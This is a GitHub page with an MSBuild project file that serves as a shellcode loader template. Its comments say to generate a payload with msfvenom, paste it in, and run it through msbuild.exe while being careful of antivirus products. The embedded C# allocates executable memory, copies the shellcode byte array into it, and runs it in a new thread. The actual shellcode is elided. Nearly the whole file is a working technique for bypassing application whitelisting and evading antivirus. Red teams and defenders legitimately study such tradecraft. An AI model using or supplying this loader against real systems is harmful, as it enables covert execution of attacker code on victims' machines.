Sources/Shellcode.csproj at master · kmkz/Sources · GitHub

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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

	  <!-- Original author: The excellent Casey Smith, Twitter: @subTee -->
	  <!-- https://gist.github.com/caseysmithrc/dfb671a8fbe3fa3305cb1ca06c46a010 -->

  <!-- This executes shellcode via msbuild.exe (be careful of A.V products) -->
  <!-- To execute your own shellcode, you first need to generate one using MSFVENOM: -->
  <!--     msfvenom -p <payload to use>  -e <encoder (optional)>  -f ps1 (could also be done with csharp or powershell) -->
  <!-- Adapt the XML below with your shellcode and adapt payload's length in buffer allocation-->
  <!-- Execution: C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe Shellcode.csproj -->

  <!-- Payload generation tool: https://github.com/Mr-Un1k0d3r/PowerLessShell -->

  <Target Name="Shellcode Exec">
    <ClassPayloadExec />
  </Target>
  <UsingTask
    TaskName="ClassPayloadExec"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassPayloadExec :  Task, ITask
        {
          private static UInt32 MEM_COMMIT = 0x1000;
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(
				UInt32 lpThreadAttributes,
				UInt32 dwStackSize,
				UInt32 lpStartAddress,
				IntPtr param,
				UInt32 dwCreationFlags,
				ref UInt32 lpThreadId
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(
				IntPtr hHandle,
				UInt32 dwMilliseconds
            );
          public override bool Execute(){

		// Adapt here buffer length + shellcode
		byte[] Sc = new byte[351] {0xb0,0x0b,0x4d,0xad,0x.....};
		UInt32 funcAddr = VirtualAlloc(0, (UInt32)Sc.Length,
		MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		Marshal.Copy(Sc, 0, (IntPtr)(funcAddr), Sc.Length);
		IntPtr hThread = IntPtr.Zero;
		UInt32 threadId = 0;
		IntPtr pinfo = IntPtr.Zero;
		hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
		WaitForSingleObject(hThread, 0xFFFFFFFF);
		return true;
          }
        }
      ]]> // close CDATA[]
      </Code>
    </Task>
  </UsingTask>
</Project>